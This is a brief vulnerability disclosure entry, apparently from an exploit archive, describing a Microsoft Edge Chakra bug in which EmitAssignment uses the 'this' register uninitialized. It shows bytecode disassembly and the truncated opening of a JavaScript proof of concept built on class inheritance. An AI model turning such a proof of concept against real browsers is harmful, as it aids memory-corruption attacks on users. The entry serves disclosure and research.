Microsoft Edge Chakra - EmitAssignment uses the this Register Without Initializing

Microsoft Edge Chakra - EmitAssignment uses the this Register Without Initializing 000c ProfiledLdEnvSlot R4 = 13 Line 28: super.a = 1; Col 13: ^ 0018 LdHomeObjProto R8 R4 001d ProfiledStSuperFld R8.this=R5 = R3 0 0025 LdUndef R0 Line 29: Col 9: ^ 0027 Ret PoC: -- class Parent ; class Child exten...